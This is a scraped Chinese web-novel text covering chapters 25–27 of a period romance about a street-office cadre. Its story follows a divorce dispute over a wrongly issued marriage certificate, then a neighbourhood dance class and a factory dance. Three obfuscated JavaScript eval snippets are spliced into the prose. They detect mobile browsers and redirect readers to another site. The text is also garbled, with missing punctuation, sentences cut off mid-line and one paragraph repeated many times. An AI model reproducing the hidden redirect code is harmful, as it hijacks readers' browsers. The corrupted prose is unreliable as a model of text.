为了离婚调解工作叶满枝、凤姨以及区里的一个干事跨越大半个城市将弄错结婚证的消息带到了仇大哥家里。 仇大哥沉着脸听完后一拍桌子骂道:“这个老不修真是不要脸!” 区里的干事低声解释:“齐成功同志也是不知情的他知道的时候差点当场晕倒。” 这事要是被人传出去还不知会被人曲解成什么样子绝对是丑闻。 仇大哥回身去看自家妹妹劝道:“闹出这样的事就更不能在齐家待下去了跟那老齐头在一个屋里住着你不闹心啊?这样的人家有什么好留恋的!离了他齐茂林哥再给你找个好人家照样生孩子过日子!” 齐家两兄弟也不知是怎么回事至今没能生出一儿半女。 大儿媳的亲哥是军官齐家不敢逼得太紧就冲小儿子两口子使劲整天鼓捣些符水、药汁子让仇晓燕喝。 仇大哥不是不讲道理的人妹妹既然结婚了那生孩子是早晚的事。 所以之前一直没插手妹妹的婚姻。 可是这一切的前提是姑爷必须是个好的! 自打他知道齐茂林与窑姐儿不清不楚以后他就不想让妹妹跟齐茂林继续过了。 黄赌毒戒不掉齐茂林已经生了歪心思 仇晓燕却没那么多心思直截了当地问:“那我现在到底跟谁是两口子?” “齐茂林。” “那我们之前领的结婚证就不算数了?” 叶满枝瞅一眼凤姨见她没有要出面解释的意思遂主动说: “你公公齐成功在这张结婚证发放之前已经与你婆婆结婚多年。虽然因为历史原因没领证但他们的婚姻关系是既成事实被大家公认。比如双方父母、亲戚朋友、领导邻居等身边的熟人都知道他们是夫妻关系。这种事实婚姻在习惯上和司法实践上是被承 认的。齐成功在此之前已经结婚了再领证就是重婚所以后面这张结婚证是无效的。” 仇晓燕问:“那齐成功现在是不是重婚了?能不能给他判刑?” “……”叶满枝认真道“重婚的主要特征是在主观上故意的明知故犯但齐成功此前并不知情。” 经办人员工作失误齐成功也算是受害者。 仇晓燕坐在炕上沉思许久将手伸出来说“你们把那结婚证带来了吧?先给我瞅一眼。” 区人委的干事手里有一份另一份还在齐家人那里。 仇晓燕毕竟是当事人他没多想就将结婚证递了过去。 “我只在第一天领证的时候碰过结婚证之后就一直由我婆婆保管着。难怪她总对我鼻子不是鼻子眼不是眼呢!原来是因为这个!” 仇晓燕将结婚证折起来撩起上衣下摆迅速塞进了裤腰里。 “……”叶满枝实话实说“齐大娘不识字她也不知道这结婚证上写错了名字。” 仇晓燕轻呵出声对三人说:“你们回去吧 现在结婚之前都要量媒双方的情况要了解清楚。 以她的名声再嫁也未必能嫁给好人家除非远远嫁到外地去。 但犯错的又不止她一个凭什么要她远走他乡? 街道干部做离婚调解通常不会劝人离婚毕竟他们所了解的都是人家表现出来的真实的夫妻关系究竟如何谁都不好说。万一离了以后又后悔街道容易落埋怨。 所以他们一般不说让人离婚的话实在处理不了的直接送区里或法院。 可是凤姨看看焦急的仇大哥又瞅一眼犯拧的仇晓燕难得说了一句:“齐家不是良配炸粪坑溅一身你应该听听你大哥的建议。” 听了她的形容叶满枝险些笑出声来但仇晓燕并不听劝当天就带着那张无效结婚证杀回军工大院了。 齐家这个事不太光彩按照齐家人的意思最好能悄咪咪解决不要传 到外面扩大影响。 街道和区里其实也是这个意思,毕竟这属于婚姻登记机关的工作失误,谁没事会宣扬自己的错误? 所以,街道办这边都统一口径,将消息捂住了。 仇晓燕算准了他们不敢让人知晓,回归军工大院的第一天,就要把她婆婆和齐茂林从家里撵出去。 齐大娘担心被人听到,压着声音说:“这是我家,你凭什么撵我走?茂林都要跟你离婚了,该走的是你!” “哈哈,”仇晓燕将结婚证甩出来,“这上面是我跟齐成功的名字,你不是说这房子是你跟老头子的,随时能撵我跟茂林出去单过吗?行啊,现在这房子是我跟齐成功的了!” 齐大娘被她气得眼前发黑,“人家街道干部都说了,这张结婚证不好使!” “那我就拿着结婚证去院儿里问问,到底好不好使!反正我的名声已经被你们搞臭了,我豁出这张脸不要了!” 说到这里,仇晓燕突然心酸起来,强行压下那股涩意,硬生生将眼泪逼了回去。 她在齐家闹了一个礼拜,非要将齐茂林和齐大娘撵出家门。 房子是厂里分给齐成功的,原本齐成功最有发言权。 但老齐夹在媳妇和儿媳妇之间,被儿媳妇骂一句老不修,就哑火不敢吱声了。 原本他也是这件事的受害者,可是被儿媳妇这样一闹,他反而成了理亏的那个。 齐成功缩在墙角不敢说话,实在没办法就卷铺盖去车间住了。 所以,齐家第一个被撵走的是齐成功。 仇晓燕大闹的时候没收着声音,左邻右里该知道的其实都已经知道了。 叶满枝下班回家的时候,还被常月娥问起了这件事。 反正事情瞒不住,她索性点头承认。 但她其实想不通仇晓燕如此放肆的目的。 “两个老的是事实婚姻,两个年轻人虽然结婚证上写错了名字,但也是事实婚姻。她怎么非要把齐大娘和齐茂林赶出家门呢?别说她赶不走,就算真的赶走了,对她能有啥好处啊?她又不能真的跟公公过日子,那成什么了!” 常月娥正在钩袜子,头也不抬地说:“先出口恶气呗。齐家求生子偏方的事,咱大院儿里不少人都知道。这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963947|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,为了跟齐茂 林生孩子仇晓燕连童子尿都用过听说身体被祸祸得够呛结果齐茂林竟然出去跟别人勾搭她能忍得下这口气吗?” “那她不是已经咬了齐茂林耳朵了吗?” 常月娥呵呵笑:“你看着吧小仇不像是没心眼的她整天胡闹总得有点缘由。” 叶满枝想不出她这样作妖能有什么缘由结果等了没几天齐家的事情突然就有了重大进展。 由于仇晓燕把齐家闹得家宅不宁齐老头躲出去了齐大娘被气得晕倒好几次齐茂林也被她撵出了家门齐茂林的大嫂实在看不下去单独找仇晓燕谈了话问她怎么样才能消停下来。 仇晓燕倒也干脆当场就说她要八百块钱! 给了钱她立马与齐茂林离婚走人! 全大院人都被她的狮子大开口镇住了。 八百块啊! 谁家能有八百块存款啊? 这年头一个普通工人的工资才二三十块7级以上技工可能达到上百块但老齐就是最普通工人领的工资还要养一大家子怎么能存下八百块? 不过仇晓燕这样开价也是有原因的。 齐家没分家齐茂林蹬车赚的钱一分也没落到她手里全都交给了她婆婆。 每月十几块三四年积攒下来也有好几百了。 她这些年虽没给齐家生下一儿半女但吃药看病遭的罪着实不少。 反正坐地起价就地还钱她不可能空手从齐家离开。 齐家大嫂将价格谈到了350块仇晓燕默认了这个数字。 但齐大娘死活不肯答应明明仇晓燕将她儿子的耳朵咬掉了属于过错方 现在却要从她家分走350块她真是宁可把老头子送给仇晓燕都不舍得拿出这三百多块钱。 老齐头回家来跟她商量:“200块行不行?” “给我300块我什么也不说直接走人”仇晓燕呵呵道“200块的话那我就要跟大家说道说道齐茂林勾搭窑姐儿的事了看看谁还敢把闺女嫁来你家!” * 叶满枝听到的最新消息是仇晓燕从老齐家狠狠咬了一大口带着300块离开齐家了。 三百块是 啥概念? 她可以用这些钱,在郊区买个小院过日子了。 叶满枝再一次感叹,不能小瞧任何人。 别看仇晓燕没文化,还挺莽撞,但人家的智慧着实不少。 夫妻双方都同意离婚,就不需要街道调解了,让两人直接去区里离婚即可。 叶满枝和凤姨都跟着松了一口气,这仇晓燕实在太能闹腾了! “主任,这段时间咱街上的事太多了,总让人紧张兮兮的,”刘金宝提议,“咱能不能组织点娱乐活动,让大家放松放松呀?” 魏珍身兼数职,既是福利委员,也是文艺委员,闻言就赞同道:“前段时间去文化局开会,区领导也提到了丰富居民业余生活的话题,要求街道主动开展一些文娱活动。” “要不联系放映站,来咱们街道放两场电影?” 穆兰想花小钱办大事,街道清理沟渠,修缮危房都需要大笔资金,所以,在娱乐活动方面,她就不太想花钱了。 像刘金宝和庄婷那样大手笔地举办曲艺演出,那是绝对不行的! 穆兰还舍得花点小钱,轮到张勤简这里干脆就一毛不拔了。 “放电影还得花钱,有没有不花钱的活动?” 众人:“……” 不花钱,谁伺候你啊! 即使是熟人帮忙,你把人请来了,也得管人家一顿饭呀! 叶满枝内心蠢蠢欲动,举手说:“我听说好多单位都组织跳交谊舞了,咱们能不能在各居委会组织开办交谊舞学习班呀?” 她先强调:“跳交谊舞不花钱,到时候在各居委会找几个会跳的居民当老师,把想学的同志组织起来,每天晚上吃完饭在院儿里蹦恰恰一会儿,多带劲呀!” 张勤简难得夸了叶满枝一句:“嗯,小叶这个主意不错,不用花钱,还能锻炼身体、陶冶情操!” 叶满枝被表扬了,尚未来得及高兴,又听他继续挑剔:“不过,跳舞的时候要注意影响,女同志的服装要得体,不要穿得花枝招展的。” “……” 穆兰打断道:“小叶这主意确实很好,现在跳交谊舞风靡各大单位,咱们也不能落后了,魏珍出面组织动员一下,让想学的同志去各居委会报名参加。最近居民们忙着除四害的工作都挺累的 ,确实需要搞些娱乐活动放松放松。” 她瞅一眼四个新同志,补充道:“尤其是咱们街道办的年轻人,最好都能学会跳交谊舞。我听说656厂和周边几个单位准备联合组织几场交谊舞会,让未婚青年男女趁机联谊。到时候咱们街道办也可以跟着参与一下,给你们这些未婚男女创造一些机会。” 作者有话要说 一百个红包,明天见~ 感谢在2024-07-2020:47:34~2024-07-2111:59:26期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:668090791个; 感谢灌溉营养液的小天使:(∩_∩)50瓶;灿阳48瓶;天天向上的嘟嘟20瓶;6909574513瓶;小黄、折眉、市井人家、钰叔、霓、琪琪宝宝、钟大饼121、芷旻、阿寅好好、牛奶可乐要加冰10瓶;hhhhh、小年在冬天8瓶;看小说大王7瓶;鱼羊、佳宝至爱6瓶;小猪小猪胖乎乎、平、小小、镏铢钳、晼笛、地球媛住民、clareeee、动物园园长、十二划、乐白源、六斤六两、kareN不另外加糖5瓶;咩咩咩4瓶;吧啦吧啦吧啦哒、eruccc、63718905、今天大大们更新了吗?、柏3瓶;小羊羔、风烟俱净、早安风铃、不分先后2瓶;55868838、沅沅、TEN、crystal、看天空〆白云飘、主角都是我的崽、三三得九、Karen星微、落月无霜、陌上蒹葭、略略略、女生最可爱、Miasc、快睡觉?、叶子猫、小草、Nora、bingmay、没有昵称、咸鱼大翻身、风从海上来、铛铛铛丹、57588418、x`Hey、听风、玙铛、……、墨陌、馨冉、xiaoxiao、姜素堇、stella、曹小临、默默看文,不爱评论、查查、远远可够远、xuanxuan127、君司夜、默默、柠檬的柠的檬、60536178、渔夫、cat?le、清风徐来、哇汪汪、57089820、春天花花1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 26 章 我请你跳支舞吧 对于组织交谊舞学习班,街道办的四个新人,拿出了十二万分的热情。 尤其是刘金宝和叶满枝,他俩都属于爱凑热闹的“积极分子”,用张勤简的话说就是“不太安分”。 “小叶,你找到舞伴没?咱俩搭个伴怎么样?”刘金宝主动邀请叶满枝当自己的舞伴。 “我刚学基本步,还没有固定舞伴,不过,咱俩还是别组队了。” “为啥?”刘金宝还挺想跟她搭档的。 他俩性格合得来,玩得到一起。 “咱俩男未婚女未嫁,整天一起跳舞,万一被人误会在谈对象咋办?”叶满枝直白且语重心长道,“用我爸的话说,兔子不吃窝边草,吃饭的地方不拉屎。咱俩还是去外面各自寻找舞伴吧。” 刘金宝被这比喻深深震撼三秒,气哼哼地走了。 叶满枝没理他,继续照着字帖练字。 没过多久,刘金宝又忍不住凑上来问:“哎,你学得怎么样?现在能完整跳一支舞不?” “不能,我以前不会跳,最近刚开始学。不过我们院儿里有人学得快,已经嚷嚷着需要音乐伴奏了!” 军工大院里组织了一个上百人的交谊舞学习班,每天晚饭后在布告栏前的小广场上教学。 但家属院的条件与机关单位不能比,大家跳舞时只能数拍子,没有伴奏音乐。 很多人觉得这样跳舞没劲。 刘金宝附和:“我们那边也没音乐,要不咱跟656的广播站商量一下,让他们晚上放一会儿音乐?” “656的广播辐射范围太广了,总不能为了几百人跳交谊舞,让全厂一起听音乐吧?”叶满枝嘟哝,“不知道能不能只开家属院那一片儿的广播。” “我去他们厂问问。” 刘金宝跃跃欲试,当即就跑了一趟656厂宣传科,可惜他刚道明来意就被人回绝了。 广播站的每日播送时间是固定的,不可能为了他们街道的活动破例。 叶满枝也觉得这事比较悬,既然厂里不同意,那就只能继续数拍子跳舞了。 然而,她每天一二三四,二二三四,数拍子数得挺起劲,其他人却不满意。 “小叶干部,咱啥时候能有伴奏呀?跳舞哪有没音乐的!” “这事儿我也没办法,咱没有设备呀!” 街道办连收音机都没有,其他播放设备就更别提了。 没有伴奏确实差了些意思,她回单位与穆主任商量了一下,然后带着介绍信和刘金宝,去了一趟656厂工会。 “广播站是宣传科管着的,咱来工会有什么用啊?”刘金宝刚吃过闭门羹,不太想来656了。 “交谊舞学习班虽然是街道组织的,但学习跳交谊舞的居民却是656厂的职工和家属。现在为了他们厂的职工和家属,借用一下厂里的广播,他们总不能袖手旁观吧?” 刘金宝赞同她的想法,但他觉得前景并不乐观。 他去宣传科的时候,连负责人都没见到,就被一个小干事打发了。 除非是穆主任或张副主任那样与厂领导有交情的,否则像他们这种连职级都没有的街道小干部,人家根本就不放在眼里。 情况也确实如他所料,两人刚到工会说明了情况,就被门口的办事员拦了下来。 人家当然不会真的不让他们进,只说领导都在忙,这会儿可能抽不出时间招待,如果不着急,可以等一等。 这种上万人的国营大厂,工会规模也是很可观的,从办公室里人来人往的繁忙景象来看,工会的规模至少是街道办的两三倍。 叶满枝和刘金宝要办的不算急事,只能在外面的会客椅上干等。 “如果早知道今天要来办事,我就打扮得精神点了!”刘金宝后悔道,“这些办事员都看人下菜碟的,我要是穿了中山装,冒充张副主任,咱俩这会儿已经被请去里面喝茶了。” 叶满枝无语:“也可能被请去保卫处喝茶,领导岂是能随便装的?” 两人在门口坐了半个小时,眼瞅着再有半小时就是午饭时间了,里面还没动静。 不过,在门口干坐的不止他俩,还有好几个外单位的哥们。 刘金宝觉得这样干等不是办法,起身与那个办事员套近乎去了。 “小叶干部,你在这儿干嘛呢?” 秦祥瞥见等在工会门口的叶满枝,特意过来打了声招呼。 叶满枝笑道:“我来工会办点事,领导忙着呢,我们在外面等一会儿。” “等多长时间了?要不我进去帮 你打声招呼吧?” 秦祥很清楚工会里那些小干事的做派。 因着工会负责分发职工福利经常进行大宗采购所以每天都有一批外单位的供销人员跑来工会门口要求见领导。 不等上一天半天是进不去这个门的。 叶满枝连忙摆手:“不用不用我们没等多久兴许一会儿就能进去了你去忙吧!” 借用广播站不是什么大事没必要让小秦因此欠人情。 秦祥却笑嘻嘻道:“小叶干部你别跟我客气我们领导这几天去北京出差了你有事就来找我能办的我肯定帮你办了。” “吴团长去北京了?” “嗯临走前特意交代我多关照小叶干部有事一定要帮着跑腿。” 叶满枝好笑地拆穿他:“吴团长才不会说这种话!” “哈哈大致就是这个意思。走吧”秦祥偏头说“我在工会里有熟人我带你进去。” 叶满枝连忙摆手“真不用!我同事在那边登记呢一会儿就能进去了。” 见她真的不需要帮忙秦祥便不再强求让她有事就去军代室喊人然后夹着文件袋快步穿越走廊上楼去了。 虽然没用小秦同志帮忙但叶满枝也因此打开了思路。 若想提高效率快速见到工会领导还是得在厂里找个熟人引荐才行。 她坐在椅子上沉思了一会儿与刘金宝打声招呼便独自去了厂妇联。 656厂的交谊舞会是由厂工会主办妇联协办的。 她在工会没熟人但在妇联有啊! 当初推荐她与吴峥嵘相亲的刘姨就是妇联的干部而且她爸与刘姨的丈夫算是朋友。 叶满枝快步走上二楼在妇联门口喊了声刘姨。 刘姨见到她时愣了一下很快就笑问:“满枝怎么来了?快进来坐!” “刘姨无事不登三宝殿我今天是来求您帮忙的!” 刘姨给她倒了杯水“哈哈什么求不求的你先说说什么事!” 叶满枝就提出想借用一下656厂广播站在每晚7点到8点这个时间段播放几首舞曲。 “活动虽然是街道组织的 舞会的热情都挺高的,就是少了音乐伴奏,总觉得差一口气。” “嗯,你们组织的那个舞蹈班我也听说了,同志们的反响很好,有些女同志中午休息时还在走廊上练习呢。”刘姨喝了口茶,望向她问,“工会那边你去了没有?他们是怎么说的?” 叶满枝面不改色道:“我同事还在工会那边等着协调呢,不过我听说妇联也是筹备交谊舞会的部门之一,我想先看看咱们妇联这边有什么想法。” 放音乐不算什么大事,刘姨没推脱,她坐直了身子,冲着办公室最里面的位置,扯着嗓子喊了声“姚主席”。 姚主席被她这猝不及防的一声吓了一跳,“怎么了?” “能让广播站每天晚上放会儿音乐不?给那些小年轻学跳舞用的。” “有多少人学跳舞啊?还需要用广播站放音乐?” 叶满枝忙说:“报名学习的有152人,但是最近又有不少人跟着一起跳,保守估计得有两百多人。放音乐的时间不用太长,每天晚上能放半个小时就行。” “这事不好办,”姚主席皱眉说,“咱们是军工厂,播放广播的时间都是固定的,多少年都没打破过规矩。” 刘姨摆手道:“规矩是死的,人是活的,这也算是丰富大家的业余活动,应该跟工会和宣传科协商一下。” 姚主席想了想,拿起桌上的电话,请总机接连转接了工会和宣传科。 电话放下没多久,这两个部门的同志就相继上门了。 叶满枝在心里感慨,还得是领导说话管用。 他们在工会门口等了快一个小时,连门都没进去,人家姚主席随手打个电话就把人喊到办公室里来了。 不过,姚主席刚提起晚上播放音乐的话题,宣传科的汪副科长就摇了头。 “前天有个小干部来宣传科提过这事,我们当时就回绝了。姚主席,真不是我们宣传科不近人情。但是跳舞的只有一两百人,咱不能为了这一两百人,把全厂的广播都打开吧?那得浪费多少电力啊!” 见姚主席沉吟着没说话,叶满枝主动问:“汪科长,咱们厂的广播能不能只在家属院里播放?开一个喇叭就行。” 一个喇叭用不了多少电。 汪副科长不满道:“你们这些年轻干 部总是想当然,那家属院里的广播,一打开就是一大片,没有单个控制的开关。有些工人三班倒,睡得早,那个时间段正是人家休息的时间,要是广播里哇啦哇啦放起了音乐,还让人家怎么休息?搞不好是要被人骂娘的! “…… 这倒是大家没有考虑到的。 刘姨看向叶满枝,“小叶,汪科长说得也有道理,突然改变播放时间,可能会影响到一些同志休息。要不你们街道办再想想其他办法?其实也可以找个带音响的室内场地。 叶满枝默默叹气,大衙门不知小庙的苦啊。 张勤简连放电影的钱都不舍得出,咋可能乐意花钱租用跳舞场地? 宣传科的副科长,在姚主席面前也是这套说辞,想来用广播播放音乐的办法是彻底被堵死了。 她在心里打了一遍腹稿,又提出了准备的第二套方案。 “各位领导,我们光明街道办举办这次活动的初衷,就是想丰富职工的业余生活,也想配合咱们656厂,把最近的几场交谊舞会办好。不过汪科长说得在理,咱们确实不能因为几百人的活动,影响大部分职工的休息。 她虽然只是个小干部,但出门在外,代表的是光明街道办,该硬气的时候还是要硬气一点的。 “既然广播不能用,我寻思能否请厂里派一名文艺骨干配合一下咱们家属院里的活动? 姚主席怔了一下,问:“什么文艺骨干? “我们想请一位会拉手风琴的同志,每晚帮大家伴奏两支曲子。手风琴虽然不如广播响亮,但也足够大家跟上拍子了。 这个提议绝对不是什么难事,656厂有专门的工人艺术团,其中也算是能人辈出了。 随便安排一个会拉手风琴的同志,就能解了燃眉之急。 叶满枝当然也可以亲自上门去请人。 但这就跟组织曲艺演出和放电影一样,让人家出力是要给好处的。 与其回去跟张勤简磨经费,还不如请656厂直接派人来协助活动。 这对人家大厂来说根本就不算事。 果然,听了她的提议,工会的那名同志,甚至都不用回去询问领导,当场就拍板说:“我回去安排两名会拉手风琴的同志,让他们轮班去学习班配 合一下,回头给他们发点餐补就行了。” 事情就这样定下了,叶满枝代表光明街道办与各位领导道谢,高高兴兴地离开了656厂。 有了配乐以后,军工大院的交谊舞学习班更加火爆,每晚都有好奇的居民加入跳舞行列。 除了年轻人,许多上了年纪的工人和家属也被欢快的音乐和舞步吸引。 老叶在女儿和儿子之后,加入了舞蹈学习班,每天晚饭过后,都带着常月娥在家门口蹦恰恰。 叶满枝的乐感很好,在音乐的配合下,终于在交谊舞会正式开场前,记住了大致的舞步,可以随着伴奏完整地跳上几曲了。 * 656厂近半个月要组织两场大型交谊舞会。 第一场的举办地点在工人俱乐部,只对本厂职工和家属开放。 第二场在市工人文化宫举办,是与化工总厂、缝纫机厂、毛织厂、煤建器材公司等单位联合举办的。 叶满枝原本打算参加第二场舞会,毕竟文化宫那边的规模更大,也更热闹。 不过,林青梅最近相中了一个名叫马克西姆的苏联工程师。 听说苏联专家会去参加第一场舞会后,她就动了邀请马克西姆跳舞的心思。 由于口语水平难以支撑她完成如此高难度的任务,她决定带小叶翻译随行。 “哪个是马克西姆啊?”叶满枝踮着脚尖往舞池里眺望,那里确实有好几对苏联男女,但是看上去年纪都不算小了。 “他在场边站着呢,就是那个!穿灰蓝色衬衣,眼睛也是蓝色的那个。” “是棕色头发的吗?” “不是不是,在四十五度方向,黑头发那个,”林青梅催促道,“哎呀,咱俩得动作快点,好像有人要去请他跳舞了!” 叶满枝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963948|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群里找到目标,不等她确认,身后忽地传来一阵骚动,两人闻声回头。 会场的玻璃门被拉开,一列身着绿色军装的青年军官有序地走进了会场。 打头那位是军代表室的小秦同志。 林青梅“哇”了一声,“之前没听说这些军官要来呀!” “苏联人都能来,军官们当然也能来啊,”叶满枝快速估算了一下人数,忍不住笑道,“军代室里的单身汉还挺多的…… ” 她唇边的笑还没收住 吴峥嵘只穿了白衬衣和绿军裤比前面那些戴军帽扎腰带的军官们看起来清爽许多。 小秦还想在场边整队强调纪律被吴峥嵘及时打断了。他摆摆手让大家放开手脚抓住机会各自寻找幸福去吧。 而后独自走向组织这次活动的工会主席与人家在场边寒暄了起来。 叶满枝没忘自己今天的任务瞧了会儿热闹就收回心思带着林青梅与马克西姆同志打招呼。 虽是第一次邀请男同志跳舞但她只是个传声筒心里没有半分紧张甚至还在“我的朋友可以请你跳舞吗”的问句后面好心地加了一句“她觉得你的眼睛很好看像海水一样湛蓝深邃”。 女同志主动邀请几乎都会成功林青梅如愿以偿与这位年轻的苏联工程师跳上了舞。 落单的叶满枝也很快就被人邀舞了。 舞伴是三哥的朋友张闽这阵子他们一起参加交谊舞学习班已经在院儿里跳过好几次了。 尽管张闽也是新手但在学习班里算是进度比较快的叶满枝被他带着很快就找到了节奏。 不过这种交谊舞会约定俗成的规矩就是舞伴不固定一曲结束以后场边会有其他男同志上前询问能否邀舞。 叶满枝又接受了两个熟人的邀请分心去看林青梅时发现她竟然还在与马克西姆跳舞两人有说有笑马克西姆眼尾都笑出花儿来了。 整整跳了三支曲子才分开。 叶满枝以休息为由婉拒了一位陌生男同志的邀请走到林青梅身边问:“你跟马克西姆说什么了?他怎么那么高兴?” “哈哈我就夸他呗先夸他眼睛长得好看隔一会儿再说他鼻子好看反正五官和身体的俄文单词我还挺熟的挨个用一遍以后算是把他夸成一朵花了他就一直带着我跳舞。” 学校里教的是哑巴俄文侧重读写语法林青梅只能记起几种简单句型轮换着用勉强能应付三支舞的时间。 叶满枝怀疑地问:“你只说这些他就笑成那样?” “对啊我哥也这样被女同志夸几句就找不着北了特别自信。” 林青梅完成了与苏联工程师跳舞的愿望,在场边喝了两口汽水,又被其他人请去跳舞了。 叶满枝不想跟陌生人跳舞,婉拒了几个邀舞的男同志后,视线不由自主移向了吴峥嵘所在的位置。 军代室的军官们进门以后,已经播放四五支曲子了。 吴峥嵘竟然一直没进过舞池! 他不主动邀请别人,也没女同志敢贸然邀请他。 最初还有工会张主席陪他说话,这会儿人家也找人跳舞去了,只留他一人孤零零地站在场边。 一般人在人群中独处时,出于心理上的防护,会下意识双手插兜或背手。 但吴峥嵘的双手只是自然垂放在身侧,从容闲适的样子没有丝毫不自在。 叶满枝佩服他的淡定,如果换作是她,可能早就找人跳舞去了。 她的打量并不隐蔽,吴峥嵘转过目光,与她对上视线时,冲她和煦地笑了笑。 叶满枝被这个笑容鼓励,穿过人群,走到他身边问:“吴团长,您不是去北京出差了吗,这么快就回来了?” “嗯,今天中午到的。” 叶满枝心说,你中午刚回来,下午就来参加交谊舞会,来了舞会又不跟人跳舞。 难道军官们出来跳舞,还需要领导盯着? 她觑着吴峥嵘虽有疲态,但仍显精致的侧脸,莫名想起了青梅对马克西姆的吹捧。 如果她对吴团长说,你眼睛真好看,鼻子真好看,嘴唇真好看,不知对方会作何表情。 想到吴峥嵘可能会有的反应,叶满枝神情古怪了一瞬,再次与他对视时,笑着邀请:“吴团长,您想跳舞吗?要不我请您跳支舞吧?” 作者有话要说 一百个红包,明天见~ 感谢在2024-07-2111:59:26~2024-07-2211:59:08期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:黑化吧,少年、红袖白杨、喵哩喵叽1个; 感谢灌溉营养液的小天使:漂亮咩咩65瓶;Jo、我是一条虫53瓶;我演戈多51瓶;何以生箫默50瓶;luo43瓶;小奶球40瓶;草根一族35瓶;忖度、入戏不慎30瓶;麻花小脆25瓶;22 60787320瓶;凉拌藕片16瓶;圆圆、枣夹核桃、思宁、子非鱼、阿毛、黄花菜、阿柴最流批、韶光明媚、糖宝、盒子里的楊、逐梦的游鱼10瓶;媞安、咪了个喵喵、.泪海的盐、爱困的雪碧、41874097、莫叽叽咕咕、多放香菜、我要叫哈哈、葡萄橘子草莓、动物园园长5瓶;牛牛4瓶;馨冉、形意微、徐徐徐莫庭3瓶;柳西莫、Jessie、禾伙人、时引、吧啦吧啦吧啦哒、林三岁超可爱的2瓶;朕不能不行、crystal、天气变冷了、涵晔、tingt、浮瑜、涵涵妈、梦幻紫蝶_小琼15、尼勒克县、55868838、MAYBE、蓦然回首、姜素堇、27589763、xuanxuan127、Nora、嘀嗒嗒、桂花糖芋苗、60536178、查查、小鸣、落霞与孤鹜、Cynthia、渔夫、咿呀咿呀哟、deng、Karen星微、风从海上来、八珍面、喵小酱、幸福永远、朝思暮念、Renhy、滴滴答答滴、TEN、56204360、‘早起的虫儿、被鸟吃、cat?le、……、123120、两一一柯、好好学习天天向上、shan栅、real_Yeeee、泥泥、春天花花、动物园园长、茳芏、茉莉奶绿_、椰子椰子树、bingmay、28124280、顏则正、stella、一点也不烦1789、钦葵、猫老板、55307830、浅岛、没有昵称、略略略、今天仍是等待更文中、玖陈林、今天大大们更新了吗?、我的作者大大健康长寿、沅沅、清、橘络、Miasc、默默、我的王霸之气在燃烧、57089820、发光中1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 27 章 街道办人事投票 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963949|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 